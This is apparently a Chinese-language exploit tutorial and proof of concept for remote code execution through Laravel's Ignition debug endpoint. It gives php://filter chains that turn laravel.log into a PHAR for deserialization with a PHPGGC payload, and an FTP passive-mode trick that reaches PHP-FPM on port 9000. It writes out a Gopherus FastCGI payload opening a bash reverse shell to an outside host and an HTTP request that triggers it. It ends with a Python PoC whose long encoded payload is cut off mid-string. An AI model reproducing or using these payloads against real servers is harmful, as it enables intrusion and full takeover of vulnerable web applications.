echo -ne '[Some prefix ]P\0A\0Y\0L\0O\0A\0D\0[midfix]P\0A\0Y\0L\0O\0A\0D\0[Some suffix ]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
卛浯⁥牰晥硩崠PAYLOAD浛摩楦嵸PAYLOAD卛浯⁥畳晦硩崠

我们的payload还在那里,安全无恙,只是前缀和后缀变成了非ASCII字符。然而,在日志条目中,我们的payload出现了两次,而不是一次。我们需要去掉第二个。

由于每个UTF-16字符占用两个字节,所以,我们可以通过在PAYLOAD的第二个实例的末尾增加一个字节,来使其无法对齐:

echo -ne '[Some prefix ]P\0A\0Y\0L\0O\0A\0D\0X[midfix]P\0A\0Y\0L\0O\0A\0D\0X[Some suffix ]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
卛浯⁥牰晥硩崠PAYLOAD存業晤硩偝䄀夀䰀伀䄀䐀堀卛浯⁥畳晦硩崠

这样做的好处是,前缀的对齐方式不再重要:如果前缀大小相等,第一个payload将被正确解码;否则的话,第二个payload就会被正确解码。

如果将上面的发现与前面的base64-decoding结合起来,就能够对我们想要的任何东西进行编码:

$ echo -n TEST! | base64 | sed -E 's/./\0\\0/g'
V\0E\0V\0T\0V\0C\0E\0=\0
$ echo -ne '[Some prefix ]V\0E\0V\0T\0V\0C\0E\0=\0X[midfix]V\0E\0V\0T\0V\0C\0E\0=\0X[Some suffix ]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8|convert.base64-decode/resource=/tmp/test.txt');
TEST!

说到对齐,如果日志文件本身不是2字节对齐的,转换过滤器将如何处理?

PHP Warning:  file_get_contents(): iconv stream filter("utf16le"=>"utf-8"): invalid multibyte sequence in phpshell code on line 1

这又是一个问题。不过,我们可以借助两个payload来轻松地解决这个问题:一个是无害的payload A,另一个是具有攻击性的payload B,具体如下所示:

[prefix]PAYLOAD_A[midfix]PAYLOAD_A[suffix]
[prefix]PAYLOAD_B[midfix]PAYLOAD_B[suffix]

由于这里前缀、中缀和后缀都存在两份,还提供了payload_a和payload_b,所以,日志文件的大小必然是偶数,从而避免了错误的发生。

最后,我们还要解决最后一个问题:我们使用NULL字节将payload的字节从一个填充为两个。在PHP中试图加载一个带有NULL字节的文件时,会生成以下错误:

PHP Warning: file_get_contents() expects parameter 1 to be a valid path, string givenin php shell code on line 1

因此,我们将无法在错误日志中注入带有NULL字节的payload。幸运的是,最后一个过滤器可以帮到我们,它就是convert.quoted-printable-decode。

我们可以使用=00对NULL字节进行编码。


viewFile:php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.ba se64-decode/resource=/path/to/storage/logs/laravel.log

创建一个PHPGGC payload,并对其进行编码:

php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | sed -E 's/./\0=00/g'
U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=00M=00f=00n=00/=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/=002=00A=00Q=00A=00A=00A=00A...=00Q=00==00==00

清空日志

viewFile: php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/path/to/storage/logs/laravel.log

创建第一个日志条目,用于对齐:

viewFile: AA

创建带有payload日志条目:

viewFile: U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=00M=00f=00n=00/=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/=002=00A=00Q=00A=00A=00A=00A...=00Q=00==00==00

通过我们的过滤器将日志文件转换为有效的PHAR:

viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log

启动PHAR的反序列化过程:

viewFile: phar:///path/to/storage/logs/laravel.log

img



由于我们可以运行file_get_contents来查找任何东西,因此,可以通过发送HTTP请求来扫描常用端口。结果发现,PHP-FPM似乎正在侦听端口9000。

众所周知,如果我们能向PHP-FPM服务发送一个任意的二进制数据包,就可以在机器上执行代码。这种技术经常与gopher://协议结合使用,curl支持gopher://协议,但PHP却不支持。

另一个已知的允许通过TCP发送二进制数据包的协议是FTP,更准确的说是该协议的被动模式:如果一个客户端试图从FTP服务器上读取一个文件(或写入),服务器会通知客户端将文件的内容读取(或写)到一个特定的IP和端口上。而且,这里对这些IP和端口没有进行必要的限制。例如,服务器可以告诉客户端连接到自己的一个端口,如果它愿意的话。

现在,如果我们尝试使用viewFile=ftp://evil-server.lexfo.fr/file.txt来利用这个漏洞,会发生以下情况:

file_get_contents()连接到我们的FTP服务器,并下载file.txt。

file_put_contents()连接到我们的FTP服务器,并将其上传回file.txt。

您可能已经知道这是怎么回事:我们将使用FTP协议的被动模式让file_get_contents()在我们的服务器上下载一个文件,当它试图使用file_put_contents()把它上传回去时,我们将告诉它把文件发送到127.0.0.1:9000。

这样,我们就可以向PHP-FPM发送一个任意的数据包,从而执行代码。

利用这种方法,在我们的目标上成功地利用了该漏洞。

下面我们来演示一下攻击过程。

首先,我们使用gopherus生成攻击fastcgi的payload:

python gopherus.py --exploit fastcgi
/var/www/public/index.php  # 这里输入的是目标主机上一个已知存在的php文件
bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9999 0>&1"  # 这里输入的是要执行的命令

img

得到payload,而我们需要的是上面payload中 _后面的数据部分,即:

%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%07%07%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%19SCRIPT_FILENAME/var/www/public/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/xxx.xxx.xxx.xxx/9999%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

将数据添加到如下FTP脚本中的payload(脚本在文章末尾和 POC目录中)

img

监听刚刚的反弹shell端口并运行 FTP脚本

img

发送请求反弹shell

POST /_ignition/execute-solution HTTP/1.1
Host: 
Content-Type: application/json
Content-Length: 191

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "ftp://aaa@xxx.xxx.xxx.xxx:23/123"
  }
}

img

漏洞POC


# -*- coding: utf-8 -*- 
import requests,json
import sys,re
proxies = {
    "http": '127.0.0.1:8080'}

header={
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
"Content-Type":"application/json"
}


def clearlog(url):
    data = {
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
  "variableName":"username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
 }
}
 
    req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
    return req

def AA(url):
    data={
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
  "variableName":"username",
"viewFile": "AA"
 }
}
    req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
    return req

def sendpayloadwindows(url):
    data={
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
  "variableName":"username",
"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=2F=00=42=00=77=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6F=00=42=00=77=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=32=00=4E=00=44=00=45=00=36=00=49=00=6D=00=56=00=6A=00=61=00=47=00=38=00=67=00=58=00=6A=00=77=00=2F=00=63=00=47=00=68=00=77=00=49=00=48=00=4E=00=6C=00=63=00=33=00=4E=00=70=00=62=00=32=00=35=00=66=00=63=00=33=00=52=00=68=00=63=00=6E=00=51=00=6F=00=4B=00=54=00=74=00=41=00=63=00=32=00=56=00=30=00=58=00=33=00=52=00=70=00=62=00=57=00=56=00=66=00=62=00=47=00=6C=00=74=00=61=00=58=00=51=00=6F=00=4D=00=43=00=6B=00=37=00=51=00=47=00=56=00=79=00=63=00=6D=00=39=00=79=00=58=00=33=00=4A=00=6C=00=63=00=47=00=39=00=79=00=64=00=47=00=6C=00=75=00=5A=00=79=00=67=00=77=00=4B=00=54=00=74=00=6D=00=64=00=57=00=35=00=6A=00=64=00=47=00=6C=00=76=00=62=00=69=00=42=00=46=00=4B=00=46=00=34=00=6B=00=52=00=43=00=78=00=65=00=4A=00=45=00=73=00=70=00=65=00=32=00=5A=00=76=00=63=00=69=00=68=00=65=00=4A=00=47=00=6B=00=39=00=4D=00=44=00=74=00=65=00=4A=00=47=00=6C=00=65=00=50=00=48=00=4E=00=30=00=63=00=6D=00=78=00=6C=00=62=00=69=00=68=00=65=00=4A=00=45=00=51=00=70=00=4F=00=31=00=34=00=6B=00=61=00=53=00=73=00=72=00=4B=00=53=00=42=00=37=00=58=00=69=00=52=00=45=00=57=00=31=00=34=00=6B=00=61=00=56=00=30=00=67=00=50=00=53=00=42=00=65=00=4A=00=45=00=52=00=62=00=58=00=69=00=52=00=70=00=58=00=56=00=35=00=65=00=58=00=69=00=52=00=4C=00=57=00=31=00=34=00=6B=00=61=00=53=00=73=00=78=00=58=00=69=00=59=00=78=00=4E=00=56=00=30=00=37=00=66=00=58=00=4A=00=6C=00=64=00=48=00=56=00=79=00=62=00=69=00=42=00=65=00=4A=00=45=00=51=00=37=00=66=00=57=00=5A=00=31=00=62=00=6D=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=46=00=45=00=6F=00=58=00=69=00=52=00=45=00=4B=00=58=00=74=00=79=00=5A=00=58=00=52=00=31=00=63=00=6D=00=34=00=67=00=59=00=6D=00=46=00=7A=00=5A=00=54=00=59=00=30=00=58=00=32=00=56=00=75=00=59=00=32=00=39=00=6B=00=5A=00=53=00=68=00=65=00=4A=00=45=00=51=00=70=00=4F=00=33=00=31=00=6D=00=64=00=57=00=35=00=6A=00=64=00=47=00=6C=00=76=00=62=00=69=00=42=00=50=00=4B=00=46=00=34=00=6B=00=52=00=43=00=6C=00=37=00=63=00=6D=00=56=00=30=00=64=00=58=00=4A=00=75=00=49=00=47=00=4A=00=68=00=63=00=32=00=55=00=32=00=4E=00=46=00=39=00=6B=00=5A=00=57=00=4E=00=76=00=5A=00=47=00=55=00=6F=00=58=00=69=00=52=00=45=00=4B=00=54=00=74=00=39=00=58=00=69=00=52=00=51=00=50=00=53=00=64=00=77=00=59=00=58=00=4E=00=7A=00=4A=00=7A=00=74=00=65=00=4A=00=46=00=59=00=39=00=4A=00=33=00=42=00=68=00=65=00=57=00=78=00=76=00=59=00=57=00=51=00=6E=00=4F=00=31=00=34=00=6B=00=56=00=44=00=30=00=6E=00=4D=00=32=00=4D=00=32=00=5A=00=54=00=42=00=69=00=4F=00=47=00=45=00=35=00=59=00=7A=00=45=00=31=00=4D=00=6A=00=49=00=30=00=59=00=53=00=63=00=37=00=61=00=57=00=59=00=67=00=4B=00=47=00=6C=00=7A=00=63=00=32=00=56=00=30=00=4B=00=46=00=34=00=6B=00=58=00=31=00=42=00=50=00=55=00=31=00=52=00=62=00=58=00=69=00=52=00=51=00=58=00=53=00=6B=00=70=00=65=00=31=00=34=00=6B=00=52=00=6A=00=31=00=50=00=4B=00=45=00=55=00=6F=00=54=00=79=00=68=00=65=00=4A=00=46=00=39=00=51=00=54=00=31=00=4E=00=55=00=57=00=31=00=34=00=6B=00=55=00=46=00=30=00=70=00=4C=00=46=00=34=00=6B=00=56=00=43=00=6B=00=70=00=4F=00=32=00=6C=00=6D=00=49=00=43=00=68=00=70=00=63=00=33=00=4E=00=6C=00=64=00=43=00=68=00=65=00=4A=00=46=00=39=00=54=00=52=00=56=00=4E=00=54=00=53=00=55=00=39=00=4F=00=57=00=31=00=34=00=6B=00=56=00=6C=00=30=00=70=00=4B=00=58=00=74=00=65=00=4A=00=45=00=77=00=39=00=58=00=69=00=52=00=66=00=55=00=30=00=56=00=54=00=55=00=30=00=6C=00=50=00=54=00=6C=00=74=00=65=00=4A=00=46=00=5A=00=64=00=4F=00=31=00=34=00=6B=00=51=00=54=00=31=00=6C=00=65=00=48=00=42=00=73=00=62=00=32=00=52=00=6C=00=4B=00=43=00=64=00=65=00=66=00=43=00=63=00=73=00=58=00=69=00=52=00=4D=00=4B=00=54=00=74=00=6A=00=62=00=47=00=46=00=7A=00=63=00=79=00=42=00=44=00=65=00=33=00=42=00=31=00=59=00=6D=00=78=00=70=00=59=00=79=00=42=00=6D=00=64=00=57=00=35=00=6A=00=64=00=47=00=6C=00=76=00=62=00=69=00=42=00=75=00=64=00=6D=00=39=00=72=00=5A=00=53=00=68=00=65=00=4A=00=48=00=41=00=70=00=49=00=48=00=74=00=6C=00=64=00=6D=00=46=00=73=00=4B=00=46=00=34=00=6B=00=63=00=43=00=34=00=69=00=49=00=69=00=6B=00=37=00=66=00=58=00=31=00=65=00=4A=00=46=00=49=00=39=00=62=00=6D=00=56=00=33=00=49=00=45=00=4D=00=6F=00=4B=00=54=00=74=00=65=00=4A=00=46=00=49=00=74=00=58=00=6A=00=35=00=75=00=64=00=6D=00=39=00=72=00=5A=00=53=00=68=00=65=00=4A=00=45=00=46=00=62=00=4D=00=46=00=30=00=70=00=4F=00=32=00=56=00=6A=00=61=00=47=00=38=00=67=00=63=00=33=00=56=00=69=00=63=00=33=00=52=00=79=00=4B=00=47=00=31=00=6B=00=4E=00=53=00=68=00=65=00=4A=00=46=00=41=00=75=00=58=00=69=00=52=00=55=00=4B=00=53=00=77=00=77=00=4C=00=44=00=45=00=32=00=4B=00=54=00=74=00=6C=00=59=00=32=00=68=00=76=00=49=00=46=00=45=00=6F=00=52=00=53=00=68=00=41=00=63=00=6E=00=56=00=75=00=4B=00=46=00=34=00=6B=00=52=00=69=00=6B=00=73=00=58=00=69=00=52=00=55=00=4B=00=53=00=6B=00=37=00=5A=00=57=00=4E=00=6F=00=62=00=79=00=42=00=7A=00=64=00=57=00=4A=00=7A=00=64=00=48=00=49=00=6F=00=62=00=57=00=51=00=31=00=4B=00=46=00=34=00=6B=00=55=00=43=00=35=00=65=00=4A=00=46=00=51=00=70=00=4C=00=44=00=45=00=32=00=4B=00=54=00=74=00=39=00=5A=00=57=00=78=00=7A=00=5A=00=58=00=74=00=65=00=4A=00=46=00=39=00=54=00=52=00=56=00=4E=00=54=00=53=00=55=00=39=00=4F=00=57=00=31=00=34=00=6B=00=56=00=6C=00=30=00=39=00=58=00=69=00=52=00=47=00=4F=00=33=00=31=00=39=00=49=00=44=00=34=00=75=00=4C=00=32=00=5A=00=31=00=59=00=32=00=74=00=35=00=62=00=33=00=55=00=75=00=63=00=47=00=68=00=77=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4E=00=6A=00=6F=00=69=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6C=00=4E=00=70=00=65=00=6D=00=55=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=54=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=6A=00=51=00=78=00=4F=00=69=00=4A=00=6C=00=59=00=32=00=68=00=76=00=49=00=46=00=34=00=38=00=50=00=33=00=42=00=6F=00=63=00=43=00=42=00=7A=00=5A=00=58=00=4E=00=7A=00=61=00=57=00=39=00=75=00=58=00=33=00=4E=00=30=00=59=00=58=00=4A=00=30=00=4B=00=43=00=6B=00=37=00=51=00=48=00=4E=00=6C=00=64=00=46=00=39=00=30=00=61=00=57=00=31=00=6C=00=58=00=32=00=78=00=70=00=62=00=57=00=6C=00=30=00=4B=00=44=00=41=00=70=00=4F=00=30=00=42=00=6C=00=63=00=6E=00=4A=00=76=00=63=00=6C=00=39=00=79=00=5A=00=58=00=42=00=76=00=63=00=6E=00=52=00=70=00=62=00=6D=00=63=00=6F=00=4D=00=43=00=6B=00=37=00=5A=00=6E=00=56=00=75=00=59=00=33=00=52=00=70=00=62=00=32=00=34=00=67=00=52=00=53=00=68=00=65=00=4A=00=45=00=51=00=73=00=58=00=69=00=52=00=4C=00=4B=00=58=00=74=00=6D=00=62=00=33=00=49=00=6F=00=58=00=69=00=52=00=70=00=50=00=54=00=41=00=37=00=58=00=69=00=52=00=70=00=58=00=6A=00=78=00=7A=00=64=00=48=00=4A=00=73=00=5A=00=57=00=34=00=6F=00=58=00=69=00=52=00=45=00=4B=00=54=00=74=00=65=00=4A=00=47=00=6B=00=72=00=4B=00=79=00=6B=00=67=00=65=00=31=00=34=00=6B=00=52=00=46=00=74=00=65=00=4A=00=47=00=6C=00=64=00=49=00=44=00=30=00=67=00=58=00=69=00=52=00=45=00=57=00=31=00=34=00=6B=00=61=00=56=00=31=00=65=00=58=00=6C=00=34=00=6B=00=53=00=31=00=74=00=65=00=4A=00=47=00=6B=00=72=00=4D=00=56=00=34=00=6D=00=4D=00=54=00=56=00=64=00=4F=00=33=00=31=00=79=00=5A=00=58=00=52=00=31=00=63=00=6D=00=34=00=67=00=58=00=69=00=52=00=45=00=4F=00=33=00=31=00=6D=00=64=00=57=00=35=00=6A=00=64=00=47=00=6C=00=76=00=62=00=69=00=42=00=52=00=4B=00=46=00=34=00=6B=00=52=00=43=00=6C=00=37=00=63=00=6D=00=56=00=30=00=64=00=58=00=4A=00=75=00=49=00=47=00=4A=00=68=00=63=00=32=00=55=00=32=00=4E=00=46=00=39=00=6C=00=62=00=6D=00=4E=00=76=00=5A=00=47=00=55=00=6F=00=58=00=69=00=52=00=45=00=4B=00=54=00=74=00=39=00=5A=00=6E=00=56=00=75=00=59=00=33=00=52=00=70=00=62=00=32=00=34=00=67=00=54=00=79=00=68=00=65=00=4A=00=45=00=51=00=70=00=65=00=33=00=4A=00=6C=00=64=00=48=00=56=00=79=00=62=00=69=00=42=00=69=00=59=00=58=00=4E=00=6C=00=4E=00=6A=00=52=00=66=00=5A=00=47=00=56=00=6A=00=62=00=32=00=52=00=6C=00=4B=00=46=00=34=00=6B=00=52=00=43=00=6B=00=37=00=66=00=56=00=34=00=6B=00=55=00=44=00=30=00=6E=00=63=00=47=00=46=00=7A=00=63=00=79=00=63=00=37=00=58=00=69=00=52=00=57=00=50=00=53=00=64=00=77=00=59=00=58=00=6C=00=73=00=62=00=32=00=46=00=6B=00=4A=00=7A=00=74=00=65=00=4A=00=46=00=51=00=39=00=4A=00=7A=00=4E=00=6A=00=4E=00=6D=00=55=00=77=00=59=00=6A=00=68=00=68=00=4F=00=57=00=4D=00=78=00=4E=00=54=00=49=00=79=00=4E=00=47=00=45=00=6E=00=4F=00=32=00=6C=00=6D=00=49=00=43=00=68=00=70=00=63=00=33=00=4E=00=6C=00=64=00=43=00=68=00=65=00=4A=00=46=00=39=00=51=00=54=00=31=00=4E=00=55=00=57=00=31=00=34=00=6B=00=55=00=46=00=30=00=70=00=4B=00=58=00=74=00=65=00=4A=00=45=00=59=00=39=00=54=00=79=00=68=00=46=00=4B=00=45=00=38=00=6F=00=58=00=69=00=52=00=66=00=55=00=45=00=39=00=54=00=56=00=46=00=74=00=65=00=4A=00=46=00=42=00=64=00=4B=00=53=00=78=00=65=00=4A=00=46=00=51=00=70=00=4B=00=54=00=74=00=70=00=5A=00=69=00=41=00=6F=00=61=00=58=00=4E=00=7A=00=5A=00=58=00=51=00=6F=00=58=00=69=00=52=00=66=00=55=00=30=00=56=00=54=00=55=00=30=00=6C=00=50=00=54=00=6C=00=74=00=65=00=4A=00=46=00=5A=00=64=00=4B=00=53=00=6C=00=37=00=58=00=69=00=52=00=4D=00=50=00=56=00=34=00=6B=00=58=00=31=00=4E=00=46=00=55=00=31=00=4E=00=4A=00=54=00=30=00=35=00=62=00=58=00=69=00=52=00=57=00=58=00=54=00=74=00=65=00=4A=00=45=00=45=00=39=00=5A=00=58=00=68=00=77=00=62=00=47=00=39=00=6B=00=5A=00=53=00=67=00=6E=00=58=00=6E=00=77=00=6E=00=4C=00=46=00=34=00=6B=00=54=00=43=00=6B=00=37=00=59=00=32=00=78=00=68=00=63=00=33=00=4D=00=67=00=51=00=33=00=74=00=77=00=64=00=57=00=4A=00=73=00=61=00=57=00=4D=00=67=00=5A=00=6E=00=56=00=75=00=59=00=33=00=52=00=70=00=62=00=32=00=34=00=67=00=62=00=6E=00=5A=00=76=00=61=00=32=00=55=00=6F=00=58=00=69=00=52=00=77=00=4B=00=53=00=42=00=37=00=5A=00=58=00=5A=00=68=00=62=00=43=00=68=00=65=00=4A=00=48=00=41=00=75=00=49=00=69=00=49=00=70=00=4F=00=33=00=31=00=39=00=58=00=69=00=52=00=53=00=50=00=57=00=35=00=6C=00=64=00=79=00=42=00=44=00=4B=00=43=00=6B=00=37=00=58=00=69=00=52=00=53=00=4C=00=56=00=34=00=2B=00=62=00=6E=00=5A=00=76=00=61=00=32=00=55=00=6F=00=58=00=69=00=52=00=42=00=57=00=7A=00=42=00=64=00=4B=00=54=00=74=00=6C=00=59=00=32=00=68=00=76=00=49=00=48=00=4E=00=31=00=59=00=6E=00=4E=00=30=00=63=00=69=00=68=00=74=00=5A=00=44=00=55=00=6F=00=58=00=69=00=52=00=51=00=4C=00=6C=00=34=00=6B=00=56=00=43=00=6B=00=73=00=4D=00=43=00=77=00=78=00=4E=00=69=00=6B=00=37=00=5A=00=57=00=4E=00=6F=00=62=00=79=00=42=00=52=00=4B=00=45=00=55=00=6F=00=51=00=48=00=4A=00=31=00=62=00=69=00=68=00=65=00=4A=00=45=00=59=00=70=00=4C=00=46=00=34=00=6B=00=56=00=43=00=6B=00=70=00=4F=00=32=00=56=00=6A=00=61=00=47=00=38=00=67=00=63=00=33=00=56=00=69=00=63=00=33=00=52=00=79=00=4B=00=47=00=31=00=6B=00=4E=00=53=00=68